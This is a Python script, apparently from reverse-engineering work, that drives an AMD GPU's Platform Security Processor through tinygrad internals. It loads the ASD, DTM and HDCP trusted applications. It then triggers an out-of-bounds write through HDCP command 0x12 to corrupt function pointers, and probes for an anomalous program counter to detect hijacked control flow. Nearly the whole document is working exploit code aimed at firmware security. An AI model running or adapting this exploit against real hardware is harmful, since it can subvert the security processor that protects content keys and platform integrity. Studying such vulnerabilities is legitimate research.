1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
"""Overwrite ASD fptr region (0xd25a3c/0xd26c94/0xd26ca8 at offset 0x6A04-0x7C70)
via cmd 0x12 OOB (a1'=0x8000, covers them), then fire ASD-reaching ops and watch
for a crash where the corrupted fptr is called (anomalous PC)."""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); C2P=90112+64
def crash(): return tuple(adev.rreg(C2P+n) for n in (82,83,84,85,86,88))
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
sid,shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(s,sh,buf,tc):
adev.vram.view(sh,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
iv.session_id,iv.ta_cmd_id=s,tc; t0=time.time()
try: psp._ring_submit(ic); return 0,time.time()-t0
except RuntimeError: return stat(),time.time()-t0
except TimeoutError: return "TO",time.time()-t0
# corrupt: a1'=0x8000 covers the fptrs. first 0x1400 controlled = 0x41; rest = stack.
b=bytearray(0x8000); struct.pack_into('<I',b,0,0x12); struct.pack_into('<I',b,0xC,0x1400)
b[0x10:0x18]=bytes([0x91,0,0,1,0, 0x00,0x80,0x00]) # a1'=0x8000
for k in range(0x18,0x1410): b[k]=0x41
ps,dt=inv(sid,shm,b,0x12)
print("corrupt a1'=0x8000 -> psp=%s %.3fs crash=%s alive=%s"%(ps,dt,[hex(x) for x in crash()],psp.is_sos_alive()))
def hdcp(cmd,mut=None):
bb=bytearray(0x8000); struct.pack_into('<I',bb,0,cmd)
if mut: mut(bb)
return inv(sid,shm,bb,cmd)
def dtmtopo(h):
bb=bytearray(0x8000); struct.pack_into('<I',bb,0,2); struct.pack_into('<10I',bb,0x10,h,1,1,0,0,0,0,0,0,0)
return inv(dtm_sid,dtm_shm,bb,2)
ops=[("cmd0x11",lambda:hdcp(0x11)),("cmd0x0B",lambda:hdcp(0x0B,lambda x:struct.pack_into('<I',x,0xC,0))),
("dtmtopo0",lambda:dtmtopo(0)),("dtmtopo1",lambda:dtmtopo(1)),
("cmd0x0E",lambda:hdcp(0x0E,lambda x:struct.pack_into('<I',x,0xC,0x55))),
("cmd0x13",lambda:hdcp(0x13)),
("cmd0x12b",lambda:hdcp(0x12,lambda x:(struct.pack_into('<I',x,0xC,0x40),x.__setitem__(slice(0x10,0x18),bytes([0x81,0,0,1,0,0,0x10,0]))))) ]
for nm,fn in ops:
r,dt=fn(); c=crash()
anom = c[2]!=0 and (c[2]&0xffff0000)!=0x0040 and c[2] not in (0x40433c,0x40173e)
print("op %-9s -> psp=%s %.2fs PC=%#x DFAR=%#x %s alive=%s"%(nm,r,dt,c[2],c[4],"<<< ANOMALOUS PC" if anom else "",psp.is_sos_alive()))
if r=="TO" or anom: break
print("sOS alive:",psp.is_sos_alive())
|